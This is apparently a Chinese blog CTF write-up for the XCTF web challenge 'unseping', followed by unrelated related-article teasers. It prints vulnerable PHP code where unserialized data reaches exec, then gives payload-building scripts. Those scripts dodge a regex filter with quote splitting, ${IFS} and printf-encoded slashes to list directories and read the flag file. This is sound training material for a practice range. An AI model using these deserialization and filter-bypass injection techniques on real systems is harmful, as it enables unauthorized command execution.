CTF(二)

server/2024/10/23 7:38:37/

导言:

本文主要讲述在CTF竞赛中,web类反序列化题目unseping。。

靶场链接:攻防世界 (xctf.org.cn)

反序列化漏洞:反序列化漏洞(二)_fst反序列化 rocksdb 字段值错误-CSDN博客

打开后可以看到:

可以看到是一段php代码,根据这段代码可以看到这是一段反序列化题目。

并且在名为waf的函数中,过滤了大部分的特殊字符。

并且,是使用传参名为ctf的post类型传参。

<?php
highlight_file(__FILE__);class ease{// 定义私有变量private $method;private $args;// 构造函数,接收两个参数function __construct($method, $args) {$this->method = $method;$this->args = $args;}// 析构函数,当对象被销毁时调用function __destruct(){// 如果方法在数组中,则调用该方法if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} // ping方法,接收一个参数,执行exec函数function ping($ip){exec($ip, $result);var_dump($result);}// waf方法,接收一个参数,使用正则表达式进行过滤function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}// __wakeup方法,当对象被反序列化时调用function __wakeup(){// 遍历args数组,对每个元素进行waf过滤foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}// 接收POST参数ctf
$ctf=@$_POST['ctf'];
// 对ctf进行base64解码,并反序列化
@unserialize(base64_decode($ctf));
?>

此时,就知道:我们应该通过命令执行获取flag且绕过waf函数的过滤,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可

所以,使用hackbar打开,并选择post型传参。

构造payload:

<?php// 定义一个类ease
class ease{// 定义私有变量method和argsprivate $method;private $args;// 构造函数,接收两个参数method和argsfunction __construct($method, $args) {$this->method = $method;$this->args = $args;}}
// 创建一个ease对象,参数为"ping"和array('l""s')
$a = new ease("ping",array('l""s'));
// 将对象序列化
$b = serialize($a);
// 输出序列化后的对象
echo $b;
echo'</br>';
// 将序列化后的对象进行base64编码
echo base64_encode($b);
?>

将其运行后,可以得到payload:

使用hackbar发送后,可以看到:

flag在flag_1s_here文件夹内,查看此文件夹的payload为:

<?php
class ease{// 定义私有变量method和argsprivate $method;private $args;// 构造函数,接收两个参数method和argsfunction __construct($method, $args) {$this->method = $method;$this->args = $args;}}// 创建ease对象,参数为"ping"和array('l""s${IFS}f""lag_1s_here')
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
// 将对象序列化
$s = serialize($o);
// 将序列化后的对象进行base64编码
echo base64_encode($s);
?>

flag在flag_831b69012c67b35f.php文件夹内。

此时,payload为:

<?php// 定义一个名为ease的类
class ease{
// 定义两个私有属性
private $method;
private $args;
// 构造函数,接受两个参数
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
// 创建一个ease对象,参数为"ping"和数组
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
// 将对象序列化
$b = serialize($a);
// 输出序列化后的对象
echo $b;
echo'</br>';
// 将序列化后的对象进行base64编码
echo base64_encode($b);
?>

得到flag。


http://www.ppmy.cn/server/134113.html

相关文章

《探索 Python 音频利器:sounddevice》

一、sounddevice 简介 Sounddevice 是一个强大的 Python 音频处理库&#xff0c;它为开发者提供了对 PortAudio 库的 Python 绑定&#xff0c;从而实现了在 Python 环境中播放和录制音频数据的功能。 这个库具有诸多优势。首先&#xff0c;它具有跨平台性&#xff0c;无论是在…

【论文阅读】DL-SRIR综述2023

0. 摘要 SISR与DL的介绍 单图像超分辨率(SISR)是计算机视觉的一个重要研究领域,其目的是从低分辨率(LR)图像中恢复清晰、高分辨率(HR)图像。 随着深度学习理论和技术的快速发展,深度学习被引入到图像超分辨率(SR)领域,并在许多领域取得了远远超过传统方法的成果。 本文框架…

R语言统计分析——置换检验2

参考资料&#xff1a;R语言实战【第2版】 独立两样本和K样本检验 # 安装coin包 install.packages(c("coin")) # 加载coin包 library(coin) # 创建检验数据集 score<-c(40,57,45,55,58,57,64,55,62,65) treatment<-factor(c(rep("A",5),rep("B…

Python中正则表达式的使用

下面介绍正则表达式的基础知识和使用方法。 正则表达式是什么? 正则表达式(Regular Expression&#xff0c;简称regex)是一种用于匹配字符串模式的强大工具。就像是一种特殊的搜索语言。 Python中使用正则表达式的基本步骤&#xff1a; import re # 首先导入re模块# 基本使…

力扣3185.构成整天的下标对数

给你一个整数数组 hours&#xff0c;表示以 小时 为单位的时间&#xff0c;返回一个整数&#xff0c;表示满足 i < j 且 hours[i] hours[j] 构成 整天 的下标对 i, j 的数目。 整天 定义为时间持续时间是 24 小时的 整数倍 。 例如&#xff0c;1 天是 24 小时&#xff0c…

【Flutter】Dart:库

在 Dart 中&#xff0c;库&#xff08;Library&#xff09;是组织和重用代码的基本方式。通过库&#xff0c;我们可以将代码分割成模块化的部分&#xff0c;方便管理和共享&#xff0c;同时避免命名冲突。Dart 提供了大量内置库&#xff0c;用于支持常见的功能&#xff0c;比如…

Unable to open nested entry ‘********.jar‘ 问题解决

今天把现网版本的task的jar拖回来然后用7-zip打开拖了一个jar进去替换mysql-connector-java-5.1.47.jar 为 mysql-connector-java-5.1.27.jar 启动微服务的时候就报错下面的 Exception in thread "main" java.lang.IllegalStateException: Failed to get nested ar…

商汤科技十周年公布新战略,将无缝集成算力、模型及应用

10月18日&#xff0c;恰逢商汤科技十周年庆典&#xff0c;“2024商汤十周年国际论坛&#xff1a;迈向AI 2.0共融新时代”在香港科学园成功举办。 据「TMT星球」了解&#xff0c;来自全球的行业领袖、政府代表、AI专家共聚于此&#xff0c;共同探讨AI行业的未来。 活动上&…